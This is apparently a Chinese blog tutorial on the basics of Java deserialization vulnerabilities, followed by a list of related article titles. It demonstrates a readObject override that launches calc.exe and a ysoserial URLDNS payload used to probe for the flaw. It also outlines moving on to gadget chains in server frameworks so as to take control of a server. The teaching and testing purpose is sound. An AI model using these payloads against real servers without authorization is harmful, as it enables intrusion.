基础:

要想了解java反序列化,首先要了解什么是序列化和什么是反序列化:

序列化:作用是将对象变为字符串

调用功能:ObjectOutputStream类的 writeObject()

反序列化:作用将字符串变为对象

调用功能:ObjectInputStream 类的 readObject()

反序列化作用是为了方便存储和调用

并且只有实现了java.io.Serializable接口的才可以反序列化,在利用时要注意。

代码实现

简单实现序列化和反序列化代码

首先新建Main项目

public class Main {public static void main(String[] args) throws Exception {command comm = new command();comm.SetStudent("xiaomao");//序列化对象byte[] ceshi = serialize(comm);//base64编码字节码 用于展示System.out.println(Base64.getEncoder().encodeToString(ceshi));FileOutputStream fout = new FileOutputStream("ceshi.bin");fout.write(ceshi);fout.close();//反序列化对象并调用command中ShowStudent函数command comm2=(command) unserialize(ceshi);comm2.ShowStudent();}public static byte[] serialize(final Object obj) throws Exception {ByteArrayOutputStream buf = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(buf);//序列化对象objOut.writeObject(obj);return buf.toByteArray();}public static Object unserialize(final Object serialized) throws Exception {ByteArrayInputStream objInt = new ByteArrayInputStream((byte[]) serialized);ObjectInputStream in = new ObjectInputStream(objInt);return in.readObject();}
}

添加command函数

import java.io.Serializable;public class command implements Serializable {public String name;// 序列化对象设置名称public void SetStudent(String setname){name = setname;}// 反序列化后调用函数public void ShowStudent(){System.out.println(name);}
}

运行可以看到成功在反序列化对象后调用了ShowStudent函数

可以看到生成的序列化字节码

可以看到base64编码的为rO0ABXNy打头,对应的十六进制为AC ED 00 05

修改代码

现在我们对代码进行一些改造

在command中添加如下代码

 private void readObject(java.io.ObjectInputStream stream) throws Exception {stream.defaultReadObject();Runtime.getRuntime().exec("calc.exe");}

执行后发现成功执行计算器

看到这里大家可以看到在我们重写了readObject函数后,在调用中会默认进行调用。

ysoserial使用:

在实际测试中常用到ysoserial-all.jar,可自动生成调用链,下载地址如下:

https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

这里查看帮助我们可以看到

java -jar ysoserial-all.jar -help

有很多的调用链可以使用,这里我们先使用URLDNS,这里注意不要使用powershell生成,编码格式会出问题,使用cmd生成

在实际测试中多使用URLDNS调用链,因为此调用链只会发出dns请求,只要搭建dnslog平台就可以检测出是否存在漏洞,不会对环境产生影响,其次其不限制jdk版本,因为使用的是java内置类,没有第三方要求,所以可以避免很多版本框架限制,进而更高效的检测出是否存在漏洞。

java -jar ysoserial-all.jar URLDNS "http://www.test123.com" > urldns.bin

修改main函数代码如下

public static void main(String[] args) throws Exception {ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("urldns.bin"));objIn.readObject();
}

可以看到成功查询

这里只是简单讲述了java反序列化原理和一些简单利用,后面会对调用链和一些复杂利用进行讲解。

总结:

  1. 在序列化数据中包含有特殊字符,所以在传输过程中一般会对数据采用base64编码来保证数据读取不会出现未知问题,所以我们在测试过程中,如果在抓包中看到了rO0ABXNy开头数据包,或十六进制为AC ED 00 05数据,一般为序列化数据,就可以使用urldns调用链来测试是否真正存在java反序列化漏洞

  1. 为什么首先选用urldns调用链来进行测试,因为要想成功实现反序列化攻击,在服务器代码中要有可以利用的调用点来实现攻击,服务器本来的代码我们很难拿到,自然很难实现对调用链的搜索和利用,只能用一些公开的框架,在框架中寻找调用链进行攻击,urldns所使用的HashMap,基本都会引入,所以可以快速判断是否存在漏洞。

  1. 在测试确实存在反序列化漏洞后,我们就可以根据我们在测试过程中测试的点,来判断服务器引入了哪些框架,再去这些公开的框架中寻找调用链,进而实现对服务器的控制。

后续我会将反序列化漏洞进行一个系列的讲解,感兴趣的同学可以一起学习

java反序列化系列-URLDNS

https://blog.csdn.net/GalaxySpaceX/article/details/129185091

java反序列化漏洞-基础相关推荐

  1. java反序列化漏洞基础

    前言 近年来反序列化漏洞可谓被大家熟知,尤其是的在JAVA 程序中发现了大量的反序列化漏洞,这种漏洞危害极大,可以直接造成RCE,获取到权限,本人之前对于这个漏洞一致认识很浅薄,甚至对于利用方式和工具 ...

  2. java反序列化漏洞的一些gadget

    目录 0x00 URLDNS 0x01 Commons Collections 0x02 RMI的codebase任意代码执行 0x03 JNDI 0x04 LDAP 0x05 JDK7u21 首先说 ...

  3. java序列化_技术干货 | JAVA反序列化漏洞

    目录 反序列化漏洞 序列化和反序列化 JAVA WEB中的序列化和反序列化 对象序列化和反序列范例 JAVA中执行系统命令 重写readObject()方法 Apache Commons Collec ...

  4. 修而未复:说说WebLogic那修不完的Java反序列化漏洞

    编者说明:这篇文章初稿写在Oracle CPU补丁发布之后,考虑到文章内容的影响,并未在当时发布,WebLogic 的 Java 反序列化漏洞,已经修复了多次,最终的修复仍然未彻底解决问题. 背景 当 ...

  5. 带你掌握java反序列化漏洞及其检测

    摘要:在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测.扫描此类漏洞. 本文分享自华为云社区<java反序列化漏洞及其检测>,作者: alpha1e0. 1 ...

  6. Java反序列化漏洞通用利用分析

    2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSpher ...

  7. 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(十)-Java反序列化漏洞(2)

    目录 前言: 2.项目配置 3.编写"java 反序列化漏洞"后端代码 4.编写"java 反序列化漏洞"前端代码 5.运行测试 前言: 本篇文章在上一篇文章基 ...

  8. Lib之过?Java反序列化漏洞通用利用分析

    1 背景 2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来***最新版的WebLogic.We ...

  9. JAVA反序列化漏洞简单理解

    反序列化原理 关于反序列化的原理不在多说,和php类似,序列化的数据是方便存储的,而存储的状态信息想要再次调用就需要反序列化 Java反序列化的API实现 实现方法 Java.io.ObjectOut ...

最新文章

  1. 构建之法读后感part6
  2. Linux下的进程之进程管理
  3. 玩转Mybatis中的类型转换器TypeHandler
  4. JAVAWEB项目--模拟考试系统数据库设计与实现(二)
  5. POJ值得做的题目(一)
  6. 不要把HANA跟BW混为一谈
  7. mybatis3.2.3+spring整合
  8. [Python] 制作启动uiautomator2 的web版 uiautomatorviewer2 批处理启动
  9. 语言常用c100单词,英语口语练习_夏普新款PW-C100-G电子词典测评_沪江英语
  10. 【Python】Python3.7.3 源代码编译安装 CentOS
  11. 外媒:全球芯片短缺已影响洗衣机和烤面包机等小家电生产
  12. Node.js ES6 模块化的基本语法-按需导出与按需导入
  13. 配置Apacheserver
  14. H3C交换机配置ACL禁止vlan间互访
  15. 2021李宏毅机器学习课程笔记——Explainable AI
  16. openssl做HMAC实例(C++)
  17. 分辨率测试方法 ——TV line检测
  18. 【机房报修管理系统】后端篇(一) 设计数据表
  19. html获取拼音首字母排序,html select按汉字拼音排序
  20. YOLOv5电车识别 电瓶车识别

热门文章

  1. java接口面试题_7道经典Java接口面试题
  2. android新闻列表,Android中实现简单的新闻列表
  3. Azure媒体服务的Apple FairPlay流功能正式上线
  4. FSAA (FullSceneAnti-aliasing)全屏抗锯齿技术
  5. 罗克韦尔自动化发布2019年企业责任报告,并启动新的企业责任与可持续发展在线内容中心
  6. 第三天,【1124】接口,注册,登录
  7. leetcode: 70. Climbing Stairs
  8. 计算机电路英语词汇,PCB专业英语词汇对照表(大全)
  9. 如何成为一名出色SEO从业人员
  10. 云扩科技获ISIG RPA 产品奖